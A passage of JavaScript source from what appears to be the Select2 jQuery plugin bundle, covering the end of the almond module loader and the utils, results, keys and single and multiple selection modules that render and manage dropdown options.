//Simulate async callback;\r\n        if (forceSync) {\r\n            main(undef, deps, callback, relName);\r\n        } else {\r\n            //Using a non-zero value because of concern for what old browsers\r\n            //do, and latest browsers \"upgrade\" to 4 if lower value is used:\r\n            //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout:\r\n            //If want a value immediately, use require('id') instead -- something\r\n            //that works in almond on the global level, but not guaranteed and\r\n            //unlikely to work in other AMD implementations.\r\n            setTimeout(function () {\r\n                main(undef, deps, callback, relName);\r\n            }, 4);\r\n        }\r\n\r\n        return req;\r\n    };\r\n\r\n    /**\r\n     * Just drops the config on the floor, but returns req in case\r\n     * the config return value is used.\r\n     */\r\n    req.config = function (cfg) {\r\n        return req(cfg);\r\n    };\r\n\r\n    /**\r\n     * Expose module registry for debugging and tooling\r\n     */\r\n    requirejs._defined = defined;\r\n\r\n    define = function (name, deps, callback) {\r\n        if (typeof name !== 'string') {\r\n            throw new Error('See almond README: incorrect module build, no module name');\r\n        }\r\n\r\n        //This module may not have dependencies\r\n        if (!deps.splice) {\r\n            //deps is not an array, so probably means\r\n            //an object literal or factory function for\r\n            //the value. Adjust args.\r\n            callback = deps;\r\n            deps = [];\r\n        }\r\n\r\n        if (!hasProp(defined, name) && !hasProp(waiting, name)) {\r\n            waiting[name] = [name, deps, callback];\r\n        }\r\n    };\r\n\r\n    define.amd = {\r\n        jQuery: true\r\n    };\r\n}());\r\n\r\nS2.requirejs = requirejs;S2.require = require;S2.define = define;\r\n}\r\n}());\r\nS2.define(\"almond\", function(){});\r\n\r\n/* global jQuery:false, $:false */\r\nS2.define('jquery',[],function () {\r\n  var _$ = jQuery || $;\r\n\r\n  if (_$ == null && console && console.error) {\r\n    console.error(\r\n      'Select2: An instance of jQuery or a jQuery-compatible library was not ' +\r\n      'found. Make sure that you are including jQuery before Select2 on your ' +\r\n      'web page.'\r\n    );\r\n  }\r\n\r\n  return _$;\r\n});\r\n\r\nS2.define('select2/utils',[\r\n  'jquery'\r\n], function ($) {\r\n  var Utils = {};\r\n\r\n  Utils.Extend = function (ChildClass, SuperClass) {\r\n    var __hasProp = {}.hasOwnProperty;\r\n\r\n    function BaseConstructor () {\r\n      this.constructor = ChildClass;\r\n    }\r\n\r\n    for (var key in SuperClass) {\r\n      if (__hasProp.call(SuperClass, key)) {\r\n        ChildClass[key] = SuperClass[key];\r\n      }\r\n    }\r\n\r\n    BaseConstructor.prototype = SuperClass.prototype;\r\n    ChildClass.prototype = new BaseConstructor();\r\n    ChildClass.__super__ = SuperClass.prototype;\r\n\r\n    return ChildClass;\r\n  };\r\n\r\n  function getMethods (theClass) {\r\n    var proto = theClass.prototype;\r\n\r\n    var methods = [];\r\n\r\n    for (var methodName in proto) {\r\n      var m = proto[methodName];\r\n\r\n      if (typeof m !== 'function') {\r\n        continue;\r\n      }\r\n\r\n      if (methodName === 'constructor') {\r\n        continue;\r\n      }\r\n\r\n      methods.push(methodName);\r\n    }\r\n\r\n    return methods;\r\n  }\r\n\r\n  Utils.Decorate = function (SuperClass, DecoratorClass) {\r\n    var decoratedMethods = getMethods(DecoratorClass);\r\n    var superMethods = getMethods(SuperClass);\r\n\r\n    function DecoratedClass () {\r\n      var unshift = Array.prototype.unshift;\r\n\r\n      var argCount = DecoratorClass.prototype.constructor.length;\r\n\r\n      var calledConstructor = SuperClass.prototype.constructor;\r\n\r\n      if (argCount > 0) {\r\n        unshift.call(arguments, SuperClass.prototype.constructor);\r\n\r\n        calledConstructor = DecoratorClass.prototype.constructor;\r\n      }\r\n\r\n      calledConstructor.apply(this, arguments);\r\n    }\r\n\r\n    DecoratorClass.displayName = SuperClass.displayName;\r\n\r\n    function ctr () {\r\n      this.constructor = DecoratedClass;\r\n    }\r\n\r\n    DecoratedClass.prototype = new ctr();\r\n\r\n    for (var m = 0; m < superMethods.length; m++) {\r\n        var superMethod = superMethods[m];\r\n\r\n        DecoratedClass.prototype[superMethod] =\r\n          SuperClass.prototype[superMethod];\r\n    }\r\n\r\n    var calledMethod = function (methodName) {\r\n      // Stub out the original method if it's not decorating an actual method\r\n      var originalMethod = function () {};\r\n\r\n      if (methodName in DecoratedClass.prototype) {\r\n        originalMethod = DecoratedClass.prototype[methodName];\r\n      }\r\n\r\n      var decoratedMethod = DecoratorClass.prototype[methodName];\r\n\r\n      return function () {\r\n        var unshift = Array.prototype.unshift;\r\n\r\n        unshift.call(arguments, originalMethod);\r\n\r\n        return decoratedMethod.apply(this, arguments);\r\n      };\r\n    };\r\n\r\n    for (var d = 0; d < decoratedMethods.length; d++) {\r\n      var decoratedMethod = decoratedMethods[d];\r\n\r\n      DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod);\r\n    }\r\n\r\n    return DecoratedClass;\r\n  };\r\n\r\n  var Observable = function () {\r\n    this.listeners = {};\r\n  };\r\n\r\n  Observable.prototype.on = function (event, callback) {\r\n    this.listeners = this.listeners || {};\r\n\r\n    if (event in this.listeners) {\r\n      this.listeners[event].push(callback);\r\n    } else {\r\n      this.listeners[event] = [callback];\r\n    }\r\n  };\r\n\r\n  Observable.prototype.trigger = function (event) {\r\n    var slice = Array.prototype.slice;\r\n    var params = slice.call(arguments, 1);\r\n\r\n    this.listeners = this.listeners || {};\r\n\r\n    // Params should always come in as an array\r\n    if (params == null) {\r\n      params = [];\r\n    }\r\n\r\n    // If there are no arguments to the event, use a temporary object\r\n    if (params.length === 0) {\r\n      params.push({});\r\n    }\r\n\r\n    // Set the `_type` of the first object to the event\r\n    params[0]._type = event;\r\n\r\n    if (event in this.listeners) {\r\n      this.invoke(this.listeners[event], slice.call(arguments, 1));\r\n    }\r\n\r\n    if ('*' in this.listeners) {\r\n      this.invoke(this.listeners['*'], arguments);\r\n    }\r\n  };\r\n\r\n  Observable.prototype.invoke = function (listeners, params) {\r\n    for (var i = 0, len = listeners.length; i < len; i++) {\r\n      listeners[i].apply(this, params);\r\n    }\r\n  };\r\n\r\n  Utils.Observable = Observable;\r\n\r\n  Utils.generateChars = function (length) {\r\n    var chars = '';\r\n\r\n    for (var i = 0; i < length; i++) {\r\n      var randomChar = Math.floor(Math.random() * 36);\r\n      chars += randomChar.toString(36);\r\n    }\r\n\r\n    return chars;\r\n  };\r\n\r\n  Utils.bind = function (func, context) {\r\n    return function () {\r\n      func.apply(context, arguments);\r\n    };\r\n  };\r\n\r\n  Utils._convertData = function (data) {\r\n    for (var originalKey in data) {\r\n      var keys = originalKey.split('-');\r\n\r\n      var dataLevel = data;\r\n\r\n      if (keys.length === 1) {\r\n        continue;\r\n      }\r\n\r\n      for (var k = 0; k < keys.length; k++) {\r\n        var key = keys[k];\r\n\r\n        // Lowercase the first letter\r\n        // By default, dash-separated becomes camelCase\r\n        key = key.substring(0, 1).toLowerCase() + key.substring(1);\r\n\r\n        if (!(key in dataLevel)) {\r\n          dataLevel[key] = {};\r\n        }\r\n\r\n        if (k == keys.length - 1) {\r\n          dataLevel[key] = data[originalKey];\r\n        }\r\n\r\n        dataLevel = dataLevel[key];\r\n      }\r\n\r\n      delete data[originalKey];\r\n    }\r\n\r\n    return data;\r\n  };\r\n\r\n  Utils.hasScroll = function (index, el) {\r\n    // Adapted from the function created by @ShadowScripter\r\n    // and adapted by @BillBarry on the Stack Exchange Code Review website.\r\n    // The original code can be found at\r\n    // http://codereview.stackexchange.com/q/13338\r\n    // and was designed to be used with the Sizzle selector engine.\r\n\r\n    var $el = $(el);\r\n    var overflowX = el.style.overflowX;\r\n    var overflowY = el.style.overflowY;\r\n\r\n    //Check both x and y declarations\r\n    if (overflowX === overflowY &&\r\n        (overflowY === 'hidden' || overflowY === 'visible')) {\r\n      return false;\r\n    }\r\n\r\n    if (overflowX === 'scroll' || overflowY === 'scroll') {\r\n      return true;\r\n    }\r\n\r\n    return ($el.innerHeight() < el.scrollHeight ||\r\n      $el.innerWidth() < el.scrollWidth);\r\n  };\r\n\r\n  Utils.escapeMarkup = function (markup) {\r\n    var replaceMap = {\r\n      '\\\\': '&#92;',\r\n      '&': '&amp;',\r\n      '<': '&lt;',\r\n      '>': '&gt;',\r\n      '\"': '&quot;',\r\n      '\\'': '&#39;',\r\n      '/': '&#47;'\r\n    };\r\n\r\n    // Do not try to escape the markup if it's not a string\r\n    if (typeof markup !== 'string') {\r\n      return markup;\r\n    }\r\n\r\n    return String(markup).replace(/[&<>\"'\\/\\\\]/g, function (match) {\r\n      return replaceMap[match];\r\n    });\r\n  };\r\n\r\n  // Append an array of jQuery nodes to a given element.\r\n  Utils.appendMany = function ($element, $nodes) {\r\n    // jQuery 1.7.x does not support $.fn.append() with an array\r\n    // Fall back to a jQuery object collection using $.fn.add()\r\n    if ($.fn.jquery.substr(0, 3) === '1.7') {\r\n      var $jqNodes = $();\r\n\r\n      $.map($nodes, function (node) {\r\n        $jqNodes = $jqNodes.add(node);\r\n      });\r\n\r\n      $nodes = $jqNodes;\r\n    }\r\n\r\n    $element.append($nodes);\r\n  };\r\n\r\n  return Utils;\r\n});\r\n\r\nS2.define('select2/results',[\r\n  'jquery',\r\n  './utils'\r\n], function ($, Utils) {\r\n  function Results ($element, options, dataAdapter) {\r\n    this.$element = $element;\r\n    this.data = dataAdapter;\r\n    this.options = options;\r\n\r\n    Results.__super__.constructor.call(this);\r\n  }\r\n\r\n  Utils.Extend(Results, Utils.Observable);\r\n\r\n  Results.prototype.render = function () {\r\n    var $results = $(\r\n      '<ul class=\"select2-results__options\" role=\"tree\"></ul>'\r\n    );\r\n\r\n    if (this.options.get('multiple')) {\r\n      $results.attr('aria-multiselectable', 'true');\r\n    }\r\n\r\n    this.$results = $results;\r\n\r\n    return $results;\r\n  };\r\n\r\n  Results.prototype.clear = function () {\r\n    this.$results.empty();\r\n  };\r\n\r\n  Results.prototype.displayMessage = function (params) {\r\n    var escapeMarkup = this.options.get('escapeMarkup');\r\n\r\n    this.clear();\r\n    this.hideLoading();\r\n\r\n    var $message = $(\r\n      '<li role=\"treeitem\" aria-live=\"assertive\"' +\r\n      ' class=\"select2-results__option\"></li>'\r\n    );\r\n\r\n    var message = this.options.get('translations').get(params.message);\r\n\r\n    $message.append(\r\n      escapeMarkup(\r\n        message(params.args)\r\n      )\r\n    );\r\n\r\n    $message[0].className += ' select2-results__message';\r\n\r\n    this.$results.append($message);\r\n  };\r\n\r\n  Results.prototype.hideMessages = function () {\r\n    this.$results.find('.select2-results__message').remove();\r\n  };\r\n\r\n  Results.prototype.append = function (data) {\r\n    this.hideLoading();\r\n\r\n    var $options = [];\r\n\r\n    if (data.results == null || data.results.length === 0) {\r\n      if (this.$results.children().length === 0) {\r\n        this.trigger('results:message', {\r\n          message: 'noResults'\r\n        });\r\n      }\r\n\r\n      return;\r\n    }\r\n\r\n    data.results = this.sort(data.results);\r\n\r\n    for (var d = 0; d < data.results.length; d++) {\r\n      var item = data.results[d];\r\n\r\n      var $option = this.option(item);\r\n\r\n      $options.push($option);\r\n    }\r\n\r\n    this.$results.append($options);\r\n  };\r\n\r\n  Results.prototype.position = function ($results, $dropdown) {\r\n    var $resultsContainer = $dropdown.find('.select2-results');\r\n    $resultsContainer.append($results);\r\n  };\r\n\r\n  Results.prototype.sort = function (data) {\r\n    var sorter = this.options.get('sorter');\r\n\r\n    return sorter(data);\r\n  };\r\n\r\n  Results.prototype.highlightFirstItem = function () {\r\n    var $options = this.$results\r\n      .find('.select2-results__option[aria-selected]');\r\n\r\n    var $selected = $options.filter('[aria-selected=true]');\r\n\r\n    // Check if there are any selected options\r\n    if ($selected.length > 0) {\r\n      // If there are selected options, highlight the first\r\n      $selected.first().trigger('mouseenter');\r\n    } else {\r\n      // If there are no selected options, highlight the first option\r\n      // in the dropdown\r\n      $options.first().trigger('mouseenter');\r\n    }\r\n\r\n    this.ensureHighlightVisible();\r\n  };\r\n\r\n  Results.prototype.setClasses = function () {\r\n    var self = this;\r\n\r\n    this.data.current(function (selected) {\r\n      var selectedIds = $.map(selected, function (s) {\r\n        return s.id.toString();\r\n      });\r\n\r\n      var $options = self.$results\r\n        .find('.select2-results__option[aria-selected]');\r\n\r\n      $options.each(function () {\r\n        var $option = $(this);\r\n\r\n        var item = $.data(this, 'data');\r\n\r\n        // id needs to be converted to a string when comparing\r\n        var id = '' + item.id;\r\n\r\n        if ((item.element != null && item.element.selected) ||\r\n            (item.element == null && $.inArray(id, selectedIds) > -1)) {\r\n          $option.attr('aria-selected', 'true');\r\n        } else {\r\n          $option.attr('aria-selected', 'false');\r\n        }\r\n      });\r\n\r\n    });\r\n  };\r\n\r\n  Results.prototype.showLoading = function (params) {\r\n    this.hideLoading();\r\n\r\n    var loadingMore = this.options.get('translations').get('searching');\r\n\r\n    var loading = {\r\n      disabled: true,\r\n      loading: true,\r\n      text: loadingMore(params)\r\n    };\r\n    var $loading = this.option(loading);\r\n    $loading.className += ' loading-results';\r\n\r\n    this.$results.prepend($loading);\r\n  };\r\n\r\n  Results.prototype.hideLoading = function () {\r\n    this.$results.find('.loading-results').remove();\r\n  };\r\n\r\n  Results.prototype.option = function (data) {\r\n    var option = document.createElement('li');\r\n    option.className = 'select2-results__option';\r\n\r\n    var attrs = {\r\n      'role': 'treeitem',\r\n      'aria-selected': 'false'\r\n    };\r\n\r\n    if (data.disabled) {\r\n      delete attrs['aria-selected'];\r\n      attrs['aria-disabled'] = 'true';\r\n    }\r\n\r\n    if (data.id == null) {\r\n      delete attrs['aria-selected'];\r\n    }\r\n\r\n    if (data._resultId != null) {\r\n      option.id = data._resultId;\r\n    }\r\n\r\n    if (data.title) {\r\n      option.title = data.title;\r\n    }\r\n\r\n    if (data.children) {\r\n      attrs.role = 'group';\r\n      attrs['aria-label'] = data.text;\r\n      delete attrs['aria-selected'];\r\n    }\r\n\r\n    for (var attr in attrs) {\r\n      var val = attrs[attr];\r\n\r\n      option.setAttribute(attr, val);\r\n    }\r\n\r\n    if (data.children) {\r\n      var $option = $(option);\r\n\r\n      var label = document.createElement('strong');\r\n      label.className = 'select2-results__group';\r\n\r\n      var $label = $(label);\r\n      this.template(data, label);\r\n\r\n      var $children = [];\r\n\r\n      for (var c = 0; c < data.children.length; c++) {\r\n        var child = data.children[c];\r\n\r\n        var $child = this.option(child);\r\n\r\n        $children.push($child);\r\n      }\r\n\r\n      var $childrenContainer = $('<ul></ul>', {\r\n        'class': 'select2-results__options select2-results__options--nested'\r\n      });\r\n\r\n      $childrenContainer.append($children);\r\n\r\n      $option.append(label);\r\n      $option.append($childrenContainer);\r\n    } else {\r\n      this.template(data, option);\r\n    }\r\n\r\n    $.data(option, 'data', data);\r\n\r\n    return option;\r\n  };\r\n\r\n  Results.prototype.bind = function (container, $container) {\r\n    var self = this;\r\n\r\n    var id = container.id + '-results';\r\n\r\n    this.$results.attr('id', id);\r\n\r\n    container.on('results:all', function (params) {\r\n      self.clear();\r\n      self.append(params.data);\r\n\r\n      if (container.isOpen()) {\r\n        self.setClasses();\r\n        self.highlightFirstItem();\r\n      }\r\n    });\r\n\r\n    container.on('results:append', function (params) {\r\n      self.append(params.data);\r\n\r\n      if (container.isOpen()) {\r\n        self.setClasses();\r\n      }\r\n    });\r\n\r\n    container.on('query', function (params) {\r\n      self.hideMessages();\r\n      self.showLoading(params);\r\n    });\r\n\r\n    container.on('select', function () {\r\n      if (!container.isOpen()) {\r\n        return;\r\n      }\r\n\r\n      self.setClasses();\r\n      self.highlightFirstItem();\r\n    });\r\n\r\n    container.on('unselect', function () {\r\n      if (!container.isOpen()) {\r\n        return;\r\n      }\r\n\r\n      self.setClasses();\r\n      self.highlightFirstItem();\r\n    });\r\n\r\n    container.on('open', function () {\r\n      // When the dropdown is open, aria-expended=\"true\"\r\n      self.$results.attr('aria-expanded', 'true');\r\n      self.$results.attr('aria-hidden', 'false');\r\n\r\n      self.setClasses();\r\n      self.ensureHighlightVisible();\r\n    });\r\n\r\n    container.on('close', function () {\r\n      // When the dropdown is closed, aria-expended=\"false\"\r\n      self.$results.attr('aria-expanded', 'false');\r\n      self.$results.attr('aria-hidden', 'true');\r\n      self.$results.removeAttr('aria-activedescendant');\r\n    });\r\n\r\n    container.on('results:toggle', function () {\r\n      var $highlighted = self.getHighlightedResults();\r\n\r\n      if ($highlighted.length === 0) {\r\n        return;\r\n      }\r\n\r\n      $highlighted.trigger('mouseup');\r\n    });\r\n\r\n    container.on('results:select', function () {\r\n      var $highlighted = self.getHighlightedResults();\r\n\r\n      if ($highlighted.length === 0) {\r\n        return;\r\n      }\r\n\r\n      var data = $highlighted.data('data');\r\n\r\n      if ($highlighted.attr('aria-selected') == 'true') {\r\n        self.trigger('close', {});\r\n      } else {\r\n        self.trigger('select', {\r\n          data: data\r\n        });\r\n      }\r\n    });\r\n\r\n    container.on('results:previous', function () {\r\n      var $highlighted = self.getHighlightedResults();\r\n\r\n      var $options = self.$results.find('[aria-selected]');\r\n\r\n      var currentIndex = $options.index($highlighted);\r\n\r\n      // If we are already at te top, don't move further\r\n      if (currentIndex === 0) {\r\n        return;\r\n      }\r\n\r\n      var nextIndex = currentIndex - 1;\r\n\r\n      // If none are highlighted, highlight the first\r\n      if ($highlighted.length === 0) {\r\n        nextIndex = 0;\r\n      }\r\n\r\n      var $next = $options.eq(nextIndex);\r\n\r\n      $next.trigger('mouseenter');\r\n\r\n      var currentOffset = self.$results.offset().top;\r\n      var nextTop = $next.offset().top;\r\n      var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset);\r\n\r\n      if (nextIndex === 0) {\r\n        self.$results.scrollTop(0);\r\n      } else if (nextTop - currentOffset < 0) {\r\n        self.$results.scrollTop(nextOffset);\r\n      }\r\n    });\r\n\r\n    container.on('results:next', function () {\r\n      var $highlighted = self.getHighlightedResults();\r\n\r\n      var $options = self.$results.find('[aria-selected]');\r\n\r\n      var currentIndex = $options.index($highlighted);\r\n\r\n      var nextIndex = currentIndex + 1;\r\n\r\n      // If we are at the last option, stay there\r\n      if (nextIndex >= $options.length) {\r\n        return;\r\n      }\r\n\r\n      var $next = $options.eq(nextIndex);\r\n\r\n      $next.trigger('mouseenter');\r\n\r\n      var currentOffset = self.$results.offset().top +\r\n        self.$results.outerHeight(false);\r\n      var nextBottom = $next.offset().top + $next.outerHeight(false);\r\n      var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset;\r\n\r\n      if (nextIndex === 0) {\r\n        self.$results.scrollTop(0);\r\n      } else if (nextBottom > currentOffset) {\r\n        self.$results.scrollTop(nextOffset);\r\n      }\r\n    });\r\n\r\n    container.on('results:focus', function (params) {\r\n      params.element.addClass('select2-results__option--highlighted');\r\n    });\r\n\r\n    container.on('results:message', function (params) {\r\n      self.displayMessage(params);\r\n    });\r\n\r\n    if ($.fn.mousewheel) {\r\n      this.$results.on('mousewheel', function (e) {\r\n        var top = self.$results.scrollTop();\r\n\r\n        var bottom = self.$results.get(0).scrollHeight - top + e.deltaY;\r\n\r\n        var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0;\r\n        var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height();\r\n\r\n        if (isAtTop) {\r\n          self.$results.scrollTop(0);\r\n\r\n          e.preventDefault();\r\n          e.stopPropagation();\r\n        } else if (isAtBottom) {\r\n          self.$results.scrollTop(\r\n            self.$results.get(0).scrollHeight - self.$results.height()\r\n          );\r\n\r\n          e.preventDefault();\r\n          e.stopPropagation();\r\n        }\r\n      });\r\n    }\r\n\r\n    this.$results.on('mouseup', '.select2-results__option[aria-selected]',\r\n      function (evt) {\r\n      var $this = $(this);\r\n\r\n      var data = $this.data('data');\r\n\r\n      if ($this.attr('aria-selected') === 'true') {\r\n        if (self.options.get('multiple')) {\r\n          self.trigger('unselect', {\r\n            originalEvent: evt,\r\n            data: data\r\n          });\r\n        } else {\r\n          self.trigger('close', {});\r\n        }\r\n\r\n        return;\r\n      }\r\n\r\n      self.trigger('select', {\r\n        originalEvent: evt,\r\n        data: data\r\n      });\r\n    });\r\n\r\n    this.$results.on('mouseenter', '.select2-results__option[aria-selected]',\r\n      function (evt) {\r\n      var data = $(this).data('data');\r\n\r\n      self.getHighlightedResults()\r\n          .removeClass('select2-results__option--highlighted');\r\n\r\n      self.trigger('results:focus', {\r\n        data: data,\r\n        element: $(this)\r\n      });\r\n    });\r\n  };\r\n\r\n  Results.prototype.getHighlightedResults = function () {\r\n    var $highlighted = this.$results\r\n    .find('.select2-results__option--highlighted');\r\n\r\n    return $highlighted;\r\n  };\r\n\r\n  Results.prototype.destroy = function () {\r\n    this.$results.remove();\r\n  };\r\n\r\n  Results.prototype.ensureHighlightVisible = function () {\r\n    var $highlighted = this.getHighlightedResults();\r\n\r\n    if ($highlighted.length === 0) {\r\n      return;\r\n    }\r\n\r\n    var $options = this.$results.find('[aria-selected]');\r\n\r\n    var currentIndex = $options.index($highlighted);\r\n\r\n    var currentOffset = this.$results.offset().top;\r\n    var nextTop = $highlighted.offset().top;\r\n    var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset);\r\n\r\n    var offsetDelta = nextTop - currentOffset;\r\n    nextOffset -= $highlighted.outerHeight(false) * 2;\r\n\r\n    if (currentIndex <= 2) {\r\n      this.$results.scrollTop(0);\r\n    } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) {\r\n      this.$results.scrollTop(nextOffset);\r\n    }\r\n  };\r\n\r\n  Results.prototype.template = function (result, container) {\r\n    var template = this.options.get('templateResult');\r\n    var escapeMarkup = this.options.get('escapeMarkup');\r\n\r\n    var content = template(result, container);\r\n\r\n    if (content == null) {\r\n      container.style.display = 'none';\r\n    } else if (typeof content === 'string') {\r\n      container.innerHTML = escapeMarkup(content);\r\n    } else {\r\n      $(container).append(content);\r\n    }\r\n  };\r\n\r\n  return Results;\r\n});\r\n\r\nS2.define('select2/keys',[\r\n\r\n], function () {\r\n  var KEYS = {\r\n    BACKSPACE: 8,\r\n    TAB: 9,\r\n    ENTER: 13,\r\n    SHIFT: 16,\r\n    CTRL: 17,\r\n    ALT: 18,\r\n    ESC: 27,\r\n    SPACE: 32,\r\n    PAGE_UP: 33,\r\n    PAGE_DOWN: 34,\r\n    END: 35,\r\n    HOME: 36,\r\n    LEFT: 37,\r\n    UP: 38,\r\n    RIGHT: 39,\r\n    DOWN: 40,\r\n    DELETE: 46\r\n  };\r\n\r\n  return KEYS;\r\n});\r\n\r\nS2.define('select2/selection/base',[\r\n  'jquery',\r\n  '../utils',\r\n  '../keys'\r\n], function ($, Utils, KEYS) {\r\n  function BaseSelection ($element, options) {\r\n    this.$element = $element;\r\n    this.options = options;\r\n\r\n    BaseSelection.__super__.constructor.call(this);\r\n  }\r\n\r\n  Utils.Extend(BaseSelection, Utils.Observable);\r\n\r\n  BaseSelection.prototype.render = function () {\r\n    var $selection = $(\r\n      '<span class=\"select2-selection\" role=\"combobox\" ' +\r\n      ' aria-haspopup=\"true\" aria-expanded=\"false\">' +\r\n      '</span>'\r\n    );\r\n\r\n    this._tabindex = 0;\r\n\r\n    if (this.$element.data('old-tabindex') != null) {\r\n      this._tabindex = this.$element.data('old-tabindex');\r\n    } else if (this.$element.attr('tabindex') != null) {\r\n      this._tabindex = this.$element.attr('tabindex');\r\n    }\r\n\r\n    $selection.attr('title', this.$element.attr('title'));\r\n    $selection.attr('tabindex', this._tabindex);\r\n\r\n    this.$selection = $selection;\r\n\r\n    return $selection;\r\n  };\r\n\r\n  BaseSelection.prototype.bind = function (container, $container) {\r\n    var self = this;\r\n\r\n    var id = container.id + '-container';\r\n    var resultsId = container.id + '-results';\r\n\r\n    this.container = container;\r\n\r\n    this.$selection.on('focus', function (evt) {\r\n      self.trigger('focus', evt);\r\n    });\r\n\r\n    this.$selection.on('blur', function (evt) {\r\n      self._handleBlur(evt);\r\n    });\r\n\r\n    this.$selection.on('keydown', function (evt) {\r\n      self.trigger('keypress', evt);\r\n\r\n      if (evt.which === KEYS.SPACE) {\r\n        evt.preventDefault();\r\n      }\r\n    });\r\n\r\n    container.on('results:focus', function (params) {\r\n      self.$selection.attr('aria-activedescendant', params.data._resultId);\r\n    });\r\n\r\n    container.on('selection:update', function (params) {\r\n      self.update(params.data);\r\n    });\r\n\r\n    container.on('open', function () {\r\n      // When the dropdown is open, aria-expanded=\"true\"\r\n      self.$selection.attr('aria-expanded', 'true');\r\n      self.$selection.attr('aria-owns', resultsId);\r\n\r\n      self._attachCloseHandler(container);\r\n    });\r\n\r\n    container.on('close', function () {\r\n      // When the dropdown is closed, aria-expanded=\"false\"\r\n      self.$selection.attr('aria-expanded', 'false');\r\n      self.$selection.removeAttr('aria-activedescendant');\r\n      self.$selection.removeAttr('aria-owns');\r\n\r\n      self.$selection.focus();\r\n\r\n      self._detachCloseHandler(container);\r\n    });\r\n\r\n    container.on('enable', function () {\r\n      self.$selection.attr('tabindex', self._tabindex);\r\n    });\r\n\r\n    container.on('disable', function () {\r\n      self.$selection.attr('tabindex', '-1');\r\n    });\r\n  };\r\n\r\n  BaseSelection.prototype._handleBlur = function (evt) {\r\n    var self = this;\r\n\r\n    // This needs to be delayed as the active element is the body when the tab\r\n    // key is pressed, possibly along with others.\r\n    window.setTimeout(function () {\r\n      // Don't trigger `blur` if the focus is still in the selection\r\n      if (\r\n        (document.activeElement == self.$selection[0]) ||\r\n        ($.contains(self.$selection[0], document.activeElement))\r\n      ) {\r\n        return;\r\n      }\r\n\r\n      self.trigger('blur', evt);\r\n    }, 1);\r\n  };\r\n\r\n  BaseSelection.prototype._attachCloseHandler = function (container) {\r\n    var self = this;\r\n\r\n    $(document.body).on('mousedown.select2.' + container.id, function (e) {\r\n      var $target = $(e.target);\r\n\r\n      var $select = $target.closest('.select2');\r\n\r\n      var $all = $('.select2.select2-container--open');\r\n\r\n      $all.each(function () {\r\n        var $this = $(this);\r\n\r\n        if (this == $select[0]) {\r\n          return;\r\n        }\r\n\r\n        var $element = $this.data('element');\r\n\r\n        $element.select2('close');\r\n      });\r\n    });\r\n  };\r\n\r\n  BaseSelection.prototype._detachCloseHandler = function (container) {\r\n    $(document.body).off('mousedown.select2.' + container.id);\r\n  };\r\n\r\n  BaseSelection.prototype.position = function ($selection, $container) {\r\n    var $selectionContainer = $container.find('.selection');\r\n    $selectionContainer.append($selection);\r\n  };\r\n\r\n  BaseSelection.prototype.destroy = function () {\r\n    this._detachCloseHandler(this.container);\r\n  };\r\n\r\n  BaseSelection.prototype.update = function (data) {\r\n    throw new Error('The `update` method must be defined in child classes.');\r\n  };\r\n\r\n  return BaseSelection;\r\n});\r\n\r\nS2.define('select2/selection/single',[\r\n  'jquery',\r\n  './base',\r\n  '../utils',\r\n  '../keys'\r\n], function ($, BaseSelection, Utils, KEYS) {\r\n  function SingleSelection () {\r\n    SingleSelection.__super__.constructor.apply(this, arguments);\r\n  }\r\n\r\n  Utils.Extend(SingleSelection, BaseSelection);\r\n\r\n  SingleSelection.prototype.render = function () {\r\n    var $selection = SingleSelection.__super__.render.call(this);\r\n\r\n    $selection.addClass('select2-selection--single');\r\n\r\n    $selection.html(\r\n      '<span class=\"select2-selection__rendered\"></span>' +\r\n      '<span class=\"select2-selection__arrow\" role=\"presentation\">' +\r\n        '<b role=\"presentation\"></b>' +\r\n      '</span>'\r\n    );\r\n\r\n    return $selection;\r\n  };\r\n\r\n  SingleSelection.prototype.bind = function (container, $container) {\r\n    var self = this;\r\n\r\n    SingleSelection.__super__.bind.apply(this, arguments);\r\n\r\n    var id = container.id + '-container';\r\n\r\n    this.$selection.find('.select2-selection__rendered').attr('id', id);\r\n    this.$selection.attr('aria-labelledby', id);\r\n\r\n    this.$selection.on('mousedown', function (evt) {\r\n      // Only respond to left clicks\r\n      if (evt.which !== 1) {\r\n        return;\r\n      }\r\n\r\n      self.trigger('toggle', {\r\n        originalEvent: evt\r\n      });\r\n    });\r\n\r\n    this.$selection.on('focus', function (evt) {\r\n      // User focuses on the container\r\n    });\r\n\r\n    this.$selection.on('blur', function (evt) {\r\n      // User exits the container\r\n    });\r\n\r\n    container.on('focus', function (evt) {\r\n      if (!container.isOpen()) {\r\n        self.$selection.focus();\r\n      }\r\n    });\r\n\r\n    container.on('selection:update', function (params) {\r\n      self.update(params.data);\r\n    });\r\n  };\r\n\r\n  SingleSelection.prototype.clear = function () {\r\n    this.$selection.find('.select2-selection__rendered').empty();\r\n  };\r\n\r\n  SingleSelection.prototype.display = function (data, container) {\r\n    var template = this.options.get('templateSelection');\r\n    var escapeMarkup = this.options.get('escapeMarkup');\r\n\r\n    return escapeMarkup(template(data, container));\r\n  };\r\n\r\n  SingleSelection.prototype.selectionContainer = function () {\r\n    return $('<span></span>');\r\n  };\r\n\r\n  SingleSelection.prototype.update = function (data) {\r\n    if (data.length === 0) {\r\n      this.clear();\r\n      return;\r\n    }\r\n\r\n    var selection = data[0];\r\n\r\n    var $rendered = this.$selection.find('.select2-selection__rendered');\r\n    var formatted = this.display(selection, $rendered);\r\n\r\n    $rendered.empty().append(formatted);\r\n    $rendered.prop('title', selection.title || selection.text);\r\n  };\r\n\r\n  return SingleSelection;\r\n});\r\n\r\nS2.define('select2/selection/multiple',[\r\n  'jquery',\r\n  './base',\r\n  '../utils'\r\n], function ($, BaseSelection, Utils) {\r\n  function MultipleSelection ($element, options) {\r\n    MultipleSelection.__super__.constructor.apply(this, arguments);\r\n  }\r\n\r\n  Utils.Extend(MultipleSelection, BaseSelection);\r\n\r\n  MultipleSelection.prototype.render = function () {\r\n    var $selection = MultipleSelection.__super__.render.call(this);\r\n\r\n    $selection.addClass('select2-selection--multiple');\r\n\r\n    $selection.html(\r\n      '<ul class=\"select2-selection__rendered\"></ul>'\r\n    );\r\n\r\n    return $selection;\r\n  };\r\n\r\n  MultipleSelection.prototype.bind = function (container, $container) {\r\n    var self = this;\r\n\r\n    MultipleSelection.__super__.bind.apply(this, 